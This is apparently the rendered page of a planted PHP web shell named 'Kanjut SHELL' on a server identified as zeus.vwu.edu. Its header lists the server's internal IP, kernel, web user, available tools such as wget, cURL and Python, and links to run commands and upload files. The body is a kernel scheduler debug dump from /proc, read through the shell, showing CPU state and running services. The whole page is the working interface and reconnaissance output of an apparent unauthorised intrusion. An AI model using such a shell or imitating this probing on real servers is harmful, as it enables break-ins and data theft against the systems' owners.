Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.191.87.157
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/899/../523/../169/../977/../4/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/899/../523/../169/../977/../4/../sched_debug
Sched Debug Version: v0.11, 4.18.0-553.27.1.el8_10.x86_64 #1
ktime                                   : 1118158342.880911
sched_clk                               : 1118158099.849285
cpu_clk                                 : 1118157657.811690
jiffies                                 : 5412825639
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 66999867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 3000.000 MHz
  .nr_running                    : 0
  .nr_switches                   : 406401315
  .nr_uninterruptible            : -1660
  .next_balance                  : 5412.825647
  .curr->pid                     : 0
  .clock                         : 1118157657.941846
  .clock_task                    : 1114299313.391121
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 453869975.344251
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 8
  .runnable_avg                  : 8
  .util_avg                      : 8
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1 453869821.440799    554852   120         0.000000    366812.782495         0.000000 0 0 /
 I          rcu_gp     3        13.989346         2   100         0.000000         0.008739         0.000000 0 0 /
 I      rcu_par_gp     4        15.993106         2   100         0.000000         0.006981         0.000000 0 0 /
 I    slub_flushwq     5        17.996925         2   100         0.000000         0.006880         0.000000 0 0 /
 I    kworker/0:0H     7       371.201717         4   100         0.000000         0.018022         0.000000 0 0 /
 S rcu_tasks_rude_    11        26.766358         2   120         0.000000         0.005955         0.000000 0 0 /
 S rcu_tasks_trace    12        28.769872         2   120         0.000000         0.005612         0.000000 0 0 /
 S     ksoftirqd/0    13 453869890.332414   2159980   120         0.000000     20346.243283         0.000000 0 0 /
 S     migration/0    15        34.773545    102810     0         0.000000      1243.500031         0.000000 0 0 /
 S      watchdog/0    16         0.000000    279542     0         0.000000       195.269300         0.000000 0 0 /
 S         cpuhp/0    17      5428.597213        15   120         0.000000         0.199312         0.000000 0 0 /
 S         kauditd    42 453869831.600943    883831   120         0.000000     10946.928926         0.000000 0 0 /
 S      kcompactd0    47 451873119.382372      3636   120         0.000000      1462.059877         0.000000 0 0 /
 I    kworker/0:1H    61 453869966.191449   1841220   100         0.000000     42796.080484         0.000000 0 0 /
 S         kswapd0    78 453838871.141371     23216   120         0.000000     70108.718494         0.000000 0 0 /
 I        kthrotld   140      1214.487239         2   100         0.000000         0.012124         0.000000 0 0 /
 S   irq/26-pciehp   143         0.000000         2    49         0.000000         0.017366         0.000000 0 0 /
 S   irq/30-pciehp   147         0.000000         2    49         0.000000         0.016172         0.000000 0 0 /
 S   irq/34-pciehp   151         0.000000         2    49         0.000000         0.022036         0.000000 0 0 /
 S   irq/38-pciehp   155         0.000000         2    49         0.000000         0.028344         0.000000 0 0 /
 S   irq/42-pciehp   159         0.000000         2    49         0.000000         0.021695         0.000000 0 0 /
 S   irq/46-pciehp   163         0.000000         2    49         0.000000         0.021389         0.000000 0 0 /
 S   irq/50-pciehp   167         0.000000         2    49         0.000000         0.021898         0.000000 0 0 /
 S   irq/54-pciehp   171         0.000000         2    49         0.000000         0.027455         0.000000 0 0 /
 I    kmpath_rdacd   175      1521.166162         2   100         0.000000         0.018219         0.000000 0 0 /
 I          kaluad   176      1530.186247         2   100         0.000000         0.020660         0.000000 0 0 /
 I    zswap-shrink   217      1572.369427         2   100         0.000000         0.012962         0.000000 0 0 /
 S   irq/16-vmwgfx   569         0.000414         3    49         0.000000         0.013721         0.000000 0 0 /
 I   xfs-conv/dm-0   668 172848116.461796         5   100         0.000000         0.043967         0.000000 0 0 /
 S systemd-journal   779 453869891.137269   3723915   120         0.000000    547587.894000         0.000000 0 0 /
 S   systemd-udevd   830 453856490.162803     10356   120         0.000000      8867.732519         0.000000 0 0 /
 I xfs-reclaim/dm-   907      5489.139198         2   100         0.000000         0.013421         0.000000 0 0 /
 I xfs-blockgc/dm-   908      5498.150967         2   100         0.000000         0.011996         0.000000 0 0 /
 I    xfs-log/sda1   909      5507.160028         2   100         0.000000         0.009322         0.000000 0 0 /
 S    xfsaild/sda1   910 451255740.560122      1987   120         0.000000        12.797782         0.000000 0 0 /
 I    xfs-log/dm-2   911      5525.184120         2   100         0.000000         0.012561         0.000000 0 0 /
 S    xfsaild/dm-2   912 453832683.596683   4042583   120         0.000000      8603.447219         0.000000 0 0 /
 S          auditd   922 453869831.645395    686549   116         0.000000     66539.413843         0.000000 0 0 /
 S          auditd   925 453869831.539502    939727   116         0.000000     32441.658402         0.000000 0 0 /
 S      sedispatch   924 453869890.310359   1287324   116         0.000000    106245.087420         0.000000 0 0 /
 S            rngd  1003     15718.347947        40   120         0.000000      9830.693163         0.000000 0 0 /
 S  systemd-logind   975 453869821.201051    821817   120         0.000000     37837.536024         0.000000 0 0 /
 S      irqbalance   978 453869724.821694    111856   120         0.000000     96082.561444         0.000000 0 0 /
 S           gdbus  1080 453869890.546508    240185   120         0.000000     31262.758850         0.000000 0 0 /
 S           gmain  1014 453869890.348314   2179466   120         0.000000     47412.793062         0.000000 0 0 /
 S    rtkit-daemon  1082         0.000000    149423     0         0.000000      1680.431215         0.000000 0 0 /
 S    ModemManager  1120 421520284.598972       747   120         0.000000       112.003485         0.000000 0 0 /
 S           tuned  1583 453869966.446476  30081299   120         0.000000    382423.711776         0.000000 0 0 /
 S           tuned  2387 422862431.051947        94   120         0.000000        33.554054         0.000000 0 0 /
 S   rs:main Q:Reg  2045 453869890.502914   3396335   120         0.000000     79628.174579         0.000000 0 0 /
 S             gdm  1617 421242168.207652       157   120         0.000000        23.670063         0.000000 0 0 /
 S           gmain  1704     33898.408854         2   120         0.000000         0.080203         0.000000 0 0 /
 S           gdbus  1705 421242168.280207       171   120         0.000000        15.081932         0.000000 0 0 /
 S      ib_io_rd-1  2841 453869966.348771   2233522   120         0.000000     13622.652467         0.000000 0 0 /
 S ib_log_fl_notif  2852 453869966.376180  11154939   120         0.000000     88266.917060         0.000000 0 0 /
 S    ib_log_flush  2853 453869966.384424  11154987   120         0.000000     85342.792534         0.000000 0 0 /
 S ib_log_wr_notif  2854 453869966.370404  11154621   120         0.000000     87107.917916         0.000000 0 0 /
 S  ib_srv_err_mon  2881 453869890.289307   1117351   120         0.000000     11380.327346         0.000000 0 0 /
 S     ib_src_main  3103 453869890.308799   1117474   120         0.000000     33905.514940         0.000000 0 0 /
 S    ib_srv_wkr-2  3116 423093575.229840      2711   120         0.000000        36.927321         0.000000 0 0 /
 S      connection 17585 453152328.622440      8155   120         0.000000       887.752694         0.000000 0 0 /
 S        (sd-pam)  2027     18652.531148         1   120         0.000000         0.298424         0.000000 0 0 /
 S         php-fpm  2700 453869728.553600    784219   120         0.000000   1439080.718305         0.000000 0 0 /
 S    dconf worker  2794     21819.664697        12   120         0.000000         1.063740         0.000000 0 0 /
 S     gnome-shell  2797 453866032.215288    295012   120         0.000000    215347.506218         0.000000 0 0 /
 S           gmain  2800 453869890.390523    279531   120         0.000000     10768.114217         0.000000 0 0 /
 S      llvmpipe-0  2806 453866025.418105    139949   120         0.000000     14452.713645         0.000000 0 0 /
 S      llvmpipe-1  2807 453866024.727068    140919   120         0.000000     12596.871024         0.000000 0 0 /
 S     gnome-shell  2812     21942.252852         5   120         0.000000         0.083145         0.000000 0 0 /
 S        Xwayland  2815 453861126.071989      9969   120         0.000000      1869.754569         0.000000 0 0 /
 S     dbus-daemon  2830     22095.930624         1   120         0.000000         0.004822         0.000000 0 0 /
 S           gdbus  2834     33846.209400        38   120         0.000000         2.398471         0.000000 0 0 /
 S      ibus-dconf  2865     22257.259905         8   120         0.000000         7.273413         0.000000 0 0 /
 S           gdbus  2871     22257.914034        20   120         0.000000         1.391934         0.000000 0 0 /
 S           gmain  2878     22329.567146         2   120         0.000000         0.073664         0.000000 0 0 /
 S           gmain  2875     22275.747709         2   120         0.000000         0.053471         0.000000 0 0 /
 S           gdbus  2946 421520284.945067       640   120         0.000000       149.774781         0.000000 0 0 /
 S gsd-a11y-settin  2920     33845.665893        27   120         0.000000        10.530931         0.000000 0 0 /
 S           gdbus  2934     33845.780606        34   120         0.000000         2.931598         0.000000 0 0 /
 S    gsd-datetime  2927     33845.669420        28   120         0.000000        21.965164         0.000000 0 0 /
 S gsd-housekeepin  2935     33845.665403        29   120         0.000000        26.757607         0.000000 0 0 /
 S           gmain  2940     31683.915773         1   120         0.000000         0.036934         0.000000 0 0 /
 S           gdbus  2944     33845.772902        28   120         0.000000         2.943273         0.000000 0 0 /
 S           gmain  2989     32218.578277         1   120         0.000000         0.032600         0.000000 0 0 /
 S           gmain  2980     32164.382545         1   120         0.000000         0.034424         0.000000 0 0 /
 S gsd-print-notif  2976     33845.669673        26   120         0.000000        12.093858         0.000000 0 0 /
 S           gmain  2986     32188.302382         2   120         0.000000         0.083424         0.000000 0 0 /
 S      gsd-rfkill  2985     33845.662652        21   120         0.000000         8.518259         0.000000 0 0 /
 S           gmain  2988     32215.508924         1   120         0.000000         0.032264         0.000000 0 0 /
 S           gdbus  2992     33845.794798        26   120         0.000000         2.093355         0.000000 0 0 /
 S gsd-screensaver  2990     33845.664113        21   120         0.000000         7.274104         0.000000 0 0 /
 S           gmain  2995     32237.547180         1   120         0.000000         0.041674         0.000000 0 0 /
 S           gdbus  2997     33845.809212        27   120         0.000000         2.206736         0.000000 0 0 /
 S     gsd-sharing  2993     33845.665718        22   120         0.000000        10.710217         0.000000 0 0 /
 S           gdbus  3003     33845.789974        41   120         0.000000         3.944202         0.000000 0 0 /
 S            pool  3047 453869890.302034   1117373   120         0.000000     27948.348617         0.000000 0 0 /
 S       gsd-sound  3006     33845.664494        25   120         0.000000        13.988880         0.000000 0 0 /
 S           gmain  3011     32482.017402         2   120         0.000000         0.075197         0.000000 0 0 /
 S           gdbus  3012     33845.793513        30   120         0.000000         2.483238         0.000000 0 0 /
 S    dconf worker  3020     32569.270775         6   120         0.000000         0.496865         0.000000 0 0 /
 S           gdbus  3025     33845.798953        32   120         0.000000         2.950343         0.000000 0 0 /
 S          colord  3028     33303.065852        43   120         0.000000        61.471736         0.000000 0 0 /
 S           gdbus  3057     33302.367718        38   120         0.000000         2.366028         0.000000 0 0 /
 S           httpd 3558293 283130508.082316         2   120         0.000000         2.641432         0.000000 0 0 /
 S           httpd 3558296 453869966.368330   3935172   120         0.000000     35820.496867         0.000000 0 0 /
 S           httpd 3558297 283130525.690118         1   120         0.000000         0.006214         0.000000 0 0 /
 S           httpd 3558307 283130525.688586         1   120         0.000000         0.004682         0.000000 0 0 /
 S           httpd 3558310 283130525.688276         1   120         0.000000         0.004372         0.000000 0 0 /
 S           httpd 3558313 283130525.688586         1   120         0.000000         0.004682         0.000000 0 0 /
 S           httpd 3558318 283130525.689447         1   120         0.000000         0.005543         0.000000 0 0 /
 S           httpd 3558321 283130525.688361         1   120         0.000000         0.004457         0.000000 0 0 /
 S           httpd 3558325 283130525.688422         1   120         0.000000         0.004518         0.000000 0 0 /
 S           httpd 3558329 283130525.688443         1   120         0.000000         0.004539         0.000000 0 0 /
 S           httpd 3558333 283130525.688629         1   120         0.000000         0.004725         0.000000 0 0 /
 S           httpd 3558337 283130525.688379         1   120         0.000000         0.004475         0.000000 0 0 /
 S           httpd 3558341 283130525.687860         1   120         0.000000         0.003956         0.000000 0 0 /
 S           httpd 3558345 283130525.688392         1   120         0.000000         0.004488         0.000000 0 0 /
 S           httpd 3558348 283130525.687786         1   120         0.000000         0.003882         0.000000 0 0 /
 S           httpd 3558351 283130525.687761         1   120         0.000000         0.003857         0.000000 0 0 /
 S           httpd 3558355 283130525.687837         1   120         0.000000         0.003933         0.000000 0 0 /
 S           httpd 3558359 283130525.688623         1   120         0.000000         0.004719         0.000000 0 0 /
 S           httpd 3558364 283130525.688089         1   120         0.000000         0.004185         0.000000 0 0 /
 S           httpd 3558368 283130525.687950         1   120         0.000000         0.004046         0.000000 0 0 /
 S           httpd 3558374 283130525.688112         1   120         0.000000         0.004208         0.000000 0 0 /
 S           httpd 3558404 453860052.111468     31755   120         0.000000      5785.270979         0.000000 0 0 /
 S           httpd 3558410 453866025.424587     30091   120         0.000000      5903.991669         0.000000 0 0 /
 S           httpd 3558428 453865989.793134     29376   120         0.000000      5597.298197         0.000000 0 0 /
 S           httpd 3558434 453858324.672941     31475   120         0.000000      5828.669367         0.000000 0 0 /
 S           httpd 3558436 453865987.940779     30450   120         0.000000      5723.725684         0.000000 0 0 /
 S           httpd 3558438 453858887.062453     30481   120         0.000000      6099.656598         0.000000 0 0 /
 S           httpd 3558445 453866024.556190     30890   120         0.000000      5740.904635         0.000000 0 0 /
 S           httpd 3558447 453866028.119627     30905   120         0.000000      5769.909118         0.000000 0 0 /
 S           httpd 3558449 453857774.897408     30675   120         0.000000      5870.317730         0.000000 0 0 /
 S           httpd 3558461 453857962.221543     30826   120         0.000000      5840.400076         0.000000 0 0 /
 S           httpd 3558392 283130535.691192         1   120         0.000000         0.007288         0.000000 0 0 /
 S           httpd 3558423 283130535.997249         1   120         0.000000         0.006543         0.000000 0 0 /
 S           httpd 3558429 283130536.087899         1   120         0.000000         0.006588         0.000000 0 0 /
 S           httpd 3558466 453869489.986545    139816   120         0.000000     25917.933501         0.000000 0 0 /
 S           httpd 3558498 453869628.990906    135656   120         0.000000     25502.131592         0.000000 0 0 /
 S           httpd 3558509 453869627.190909    141800   120         0.000000     26431.773890         0.000000 0 0 /
 S           httpd 3558511 453869966.347641   1667377   120         0.000000     49857.653929         0.000000 0 0 /
 S           httpd 3558397 283130535.706426         1   120         0.000000         0.006652         0.000000 0 0 /
 S           httpd 3558471 453869630.411356     68381   120         0.000000     12564.515043         0.000000 0 0 /
 S           httpd 3558478 453869626.825452     66765   120         0.000000     12461.468189         0.000000 0 0 /
 S           httpd 3558491 453869831.977643     67870   120         0.000000     12380.334340         0.000000 0 0 /
 S           httpd 3559719 283347495.591680         2   120         0.000000         2.747525         0.000000 0 0 /
 S           httpd 3559765 453869890.667568    228328   120         0.000000     42668.318818         0.000000 0 0 /
 S           httpd 3559768 453869821.765024    230252   120         0.000000     42659.214502         0.000000 0 0 /
 S           httpd 3559770 453869821.751251    230124   120         0.000000     42895.412455         0.000000 0 0 /
 S           httpd 3559777 453869966.703493    229615   120         0.000000     43262.439682         0.000000 0 0 /
 S           httpd 3559779 453869966.722262    228452   120         0.000000     42479.107120         0.000000 0 0 /
 S           httpd 3559783 453869890.723048    227816   120         0.000000     42553.929632         0.000000 0 0 /
 S           httpd 3559784 453869723.981289    230630   120         0.000000     42270.424188         0.000000 0 0 /
 S           httpd 3559785 453869890.677768    226426   120         0.000000     43372.004888         0.000000 0 0 /
 S           httpd 3559787 453869890.306087    228247   120         0.000000     42696.281341         0.000000 0 0 /
 I     kworker/0:2 1411389 453866024.844160     13251   120         0.000000        28.243890         0.000000 0 0 /
 I     kworker/0:0 1414405 453855290.970716       210   120         0.000000         0.994145         0.000000 0 0 /
 I     kworker/0:1 1415469 453866024.728380        18   120         0.000000         0.678923         0.000000 0 0 /
 I     kworker/0:3 1416485 453869966.353523      2294   120         0.000000         4.569900         0.000000 0 0 /
 S setroubleshootd 1416762 453869975.344251      2576   125         0.000000      1949.491311         0.000000 0 0 /
 S SetroubleshootP 1416775 453869893.265841        65   120         0.000000       995.689381         0.000000 0 0 /

cpu#1, 3000.000 MHz
  .nr_running                    : 1
  .nr_switches                   : 409643703
  .nr_uninterruptible            : -4111
  .next_balance                  : 5412.825644
  .curr->pid                     : 2697
  .clock                         : 1118157657.936779
  .clock_task                    : 1114286332.130478
  .avg_idle                      : 918707
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 466092784.416675
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 12222809.072424
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 29
  .runnable_avg                  : 29
  .util_avg                      : 29
  .util_est_enqueued             : 103
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 I    mm_percpu_wq    10 425388788.444889         8   100         0.000000         0.056980         0.000000 0 0 /
 I       rcu_sched    14 466092775.839936 164414305   120         0.000000    395620.701624         0.000000 0 0 /
 S         cpuhp/1    18      2798.458864        14   120         0.000000         0.222944         0.000000 0 0 /
 S      watchdog/1    19        -3.000000    279542     0         0.000000       368.938950         0.000000 0 0 /
 S     migration/1    20         0.000000    104131     0         0.000000      1256.509120         0.000000 0 0 /
 S     ksoftirqd/1    21 466092379.767533   1867313   120         0.000000     17370.758777         0.000000 0 0 /
 I    kworker/1:0H    23       502.426405         4   100         0.000000         0.024413         0.000000 0 0 /
 I           netns    41        20.408903         2   100         0.000000         0.012585         0.000000 0 0 /
 S      khungtaskd    44 466088538.956858      9101   120         0.000000       814.793535         0.000000 0 0 /
 S      oom_reaper    45        38.416606         2   120         0.000000         0.000000         0.000000 0 0 /
 I       writeback    46        38.416606         2   100         0.000000         0.000000         0.000000 0 0 /
 I          crypto    50        38.416606         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    53        38.416606         2   100         0.000000         0.000000         0.000000 0 0 /
 I      tpm_dev_wq    54        38.424440         2   100         0.000000         0.007834         0.000000 0 0 /
 I     edac-poller    57        47.430010         2   100         0.000000         0.005575         0.000000 0 0 /
 S   irq/27-pciehp   144         0.000000         3    49         0.000000         0.026883         0.000000 0 0 /
 S   irq/31-pciehp   148         0.000000         3    49         0.000000         0.034020         0.000000 0 0 /
 S   irq/35-pciehp   152         0.000000         3    49         0.000000         0.046457         0.000000 0 0 /
 S   irq/39-pciehp   156         0.000000         3    49         0.000000         0.038083         0.000000 0 0 /
 S   irq/43-pciehp   160         0.000000         3    49         0.000000         0.048489         0.000000 0 0 /
 S   irq/47-pciehp   164         0.000000         3    49         0.000000         0.039004         0.000000 0 0 /
 S   irq/51-pciehp   168         0.000000         3    49         0.000000         0.036746         0.000000 0 0 /
 S   irq/55-pciehp   172         0.000000         3    49         0.000000         0.043559         0.000000 0 0 /
 I acpi_thermal_pm   174       220.817150         2   100         0.000000         0.014152         0.000000 0 0 /
 I           kstrp   178       229.837724         2   100         0.000000         0.021374         0.000000 0 0 /
 I    kworker/1:1H   269 466092775.418627   2186625   100         0.000000     50782.760801         0.000000 0 0 /
 S       scsi_eh_0   469      1076.401440         2   120         0.000000         0.004715         0.000000 0 0 /
 I         ata_sff   471      1080.899771         2   100         0.000000         0.004284         0.000000 0 0 /
 I vmw_pvscsi_wq_0   473      1088.891086         2   100         0.000000         0.005727         0.000000 0 0 /
 S       scsi_eh_2   476      1273.063592         3   120         0.000000        17.595789         0.000000 0 0 /
 S       scsi_eh_6   485      1267.270882        25   120         0.000000         0.126834         0.000000 0 0 /
 S       scsi_eh_8   489      1267.309446        25   120         0.000000         0.189497         0.000000 0 0 /
 S      scsi_eh_10   493      1267.351595        25   120         0.000000         0.112971         0.000000 0 0 /
 S      scsi_eh_11   495      1267.339072        25   120         0.000000         0.127778         0.000000 0 0 /
 S      scsi_eh_12   497      1267.344489        25   120         0.000000         0.118348         0.000000 0 0 /
 S      scsi_eh_18   509      1267.277082        25   120         0.000000         0.096709         0.000000 0 0 /
 S      scsi_eh_19   511      1267.338307        25   120         0.000000         0.084688         0.000000 0 0 /
 S      scsi_eh_21   515      1267.334797        25   120         0.000000         0.154099         0.000000 0 0 /
 S      scsi_eh_22   517      1267.270262        25   120         0.000000         0.111813         0.000000 0 0 /
 S      scsi_eh_23   519      1267.342448        25   120         0.000000         0.135189         0.000000 0 0 /
 S      scsi_eh_25   523      1267.320837        25   120         0.000000         0.160233         0.000000 0 0 /
 S      scsi_eh_27   527      1267.272590        25   120         0.000000         0.108673         0.000000 0 0 /
 S      scsi_eh_29   531      1267.338441        25   120         0.000000         0.088969         0.000000 0 0 /
 S      scsi_eh_30   533      1267.563551        25   120         0.000000         0.138120         0.000000 0 0 /
 S      scsi_eh_31   535      1267.551252        25   120         0.000000         0.127374         0.000000 0 0 /
 I  kdmflush/253:0   635      1506.741007         2   100         0.000000         0.022091         0.000000 0 0 /
 I  kdmflush/253:1   644      1533.805892         2   100         0.000000         0.015425         0.000000 0 0 /
 I        xfsalloc   665      1632.354034         2   100         0.000000         0.003871         0.000000 0 0 /
 I   xfs_mru_cache   666      1632.355223         2   100         0.000000         0.013416         0.000000 0 0 /
 I    xfs-cil/dm-0   669      1641.366669         2   100         0.000000         0.011988         0.000000 0 0 /
 I xfs-blockgc/dm-   671      1650.378511         2   100         0.000000         0.012140         0.000000 0 0 /
 S irq/68-vmw_vmci   848         0.000379    161187    49         0.000000      2595.101926         0.000000 0 0 /
 I    xfs-buf/sda1   899      2913.436424         2   100         0.000000         0.029480         0.000000 0 0 /
 S          auditd   923 466091412.750616    286649   116         0.000000      6173.737053         0.000000 0 0 /
 S audit_prune_tre   954      3011.728554         2   120         0.000000         0.019276         0.000000 0 0 /
 S           abrtd   967      3668.412510       151   120         0.000000        36.126470         0.000000 0 0 /
 S           gmain  1076      3656.611867         1   120         0.000000         0.033063         0.000000 0 0 /
 S          mcelog   968      3119.693356        11   120         0.000000        13.046577         0.000000 0 0 /
 S          smartd   974 466054501.992024       656   120         0.000000       244.695253         0.000000 0 0 /
 S           gmain  1028     16633.910155        29   120         0.000000         1.258439         0.000000 0 0 /
 S       JS Helper  1089      3724.008263         2   120         0.000000         0.106720         0.000000 0 0 /
 S       JS Helper  1091      3732.972319         2   120         0.000000         0.064105         0.000000 0 0 /
 S accounts-daemon   982 432560788.343552       954   120         0.000000      3184.411038         0.000000 0 0 /
 S           gdbus  1079 432560787.998015      2534   120         0.000000       117.329773         0.000000 0 0 /
 S        vmtoolsd  1030      3406.995910         1   120         0.000000         0.058641         0.000000 0 0 /
 S           gmain  1032      3638.609603         2   120         0.000000         0.063172         0.000000 0 0 /
 S        ksmtuned  1011 466092380.221017     93099   120         0.000000     16893.396073         0.000000 0 0 /
 I        cfg80211  1210      4703.052600         2   100         0.000000         0.006312         0.000000 0 0 /
 S           tuned  2345 466092775.697529  29983851   120         0.000000    378789.184406         0.000000 0 0 /
 S        rsyslogd  1590 466090723.551110      3927   120         0.000000       225.887991         0.000000 0 0 /
 S fail2ban-server  1602 466092353.403639    560081   120         0.000000     18158.923822         0.000000 0 0 /
 S    f2b/observer  1937 466092775.625688  22760098   120         0.000000    270103.092348         0.000000 0 0 /
 S    f2b/observer 1409114 466092775.569117     42759   120         0.000000       504.162920         0.000000 0 0 /
 S           httpd  1604 466092775.433188   1116936   120         0.000000     26095.835302         0.000000 0 0 /
 S gdm-session-wor  1708     12379.669730        65   120         0.000000        21.219394         0.000000 0 0 /
 S           gmain  1762     10871.090251         3   120         0.000000         0.112320         0.000000 0 0 /
 S           gdbus  1764     12379.417140        23   120         0.000000         2.098411         0.000000 0 0 /
 S          mysqld  1774 465936707.338120      1524   120         0.000000       451.020302         0.000000 0 0 /
 S      ib_io_ibuf  2840 466092775.427007   2233502   120         0.000000     13799.400580         0.000000 0 0 /
 S      ib_io_wr-3  2847 466092775.439636   2234002   120         0.000000     13717.550674         0.000000 0 0 /
 S      ib_io_wr-4  2848 466092775.423345   2233947   120         0.000000     13799.618345         0.000000 0 0 /
 S  ib_log_checkpt  2851 466092775.425052   1118156   120         0.000000     11349.647791         0.000000 0 0 /
 S  ib_srv_lock_to  2880 466092775.416675   1117338   120         0.000000     11065.590701         0.000000 0 0 /
 S    xpl_worker-1  3106 466089781.089117     18962   120         0.000000       177.407650         0.000000 0 0 /
 S    xpl_accept-1  3108     17677.195128         3   120         0.000000         0.041341         0.000000 0 0 /
 S   ib_clone_gtid  3113 466092775.532770  11147489   120         0.000000    122445.724796         0.000000 0 0 /
 S    ib_srv_wkr-3  3117 434192293.152516      2335   120         0.000000        22.831622         0.000000 0 0 /
 S       evt_sched  3118     17686.163079         1   120         0.000000         0.319584         0.000000 0 0 /
 S        gtid_zip  3122     17696.337778         1   120         0.000000         0.158654         0.000000 0 0 /
 S        sendmail  1867 466092353.432572    224012   120         0.000000     14224.982485         0.000000 0 0 /
 S         systemd  1974 466091413.135430    142458   120         0.000000     11317.458941         0.000000 0 0 /
 S     dbus-daemon  2391     16512.553135       126   120         0.000000        20.144738         0.000000 0 0 /
 S     dbus-daemon  2772     13010.057240         1   120         0.000000         0.042770         0.000000 0 0 /
>R         php-fpm  2697 466092776.740810    783583   120         0.000000   1440877.829771         0.000000 0 0 /
 S         php-fpm  2698 466092357.935606    784203   120         0.000000   1427734.144040         0.000000 0 0 /
 S dbus-run-sessio  2774     13022.899825         3   120         0.000000         2.842585         0.000000 0 0 /
 S     dbus-daemon  2777     13033.069783         1   120         0.000000         0.017301         0.000000 0 0 /
 S      llvmpipe-3  2809 466090723.720871    142014   120         0.000000     12888.197752         0.000000 0 0 /
 S     gnome-shell  2810     13885.894768         2   120         0.000000         0.035147         0.000000 0 0 /
 S     gnome-shell  2811     13896.944980         3   120         0.000000         0.039184         0.000000 0 0 /
 S     gnome-shell  2813     13905.976560         3   120         0.000000         0.149916         0.000000 0 0 /
 S  gnome-s:disk$0  2814     16775.696654         2   139         0.000000         0.443643         0.000000 0 0 /
 S       JS Helper  2835 466091426.980197     94741   120         0.000000      4302.186690         0.000000 0 0 /
 S at-spi-bus-laun  2824     13962.093634        50   120         0.000000         8.893164         0.000000 0 0 /
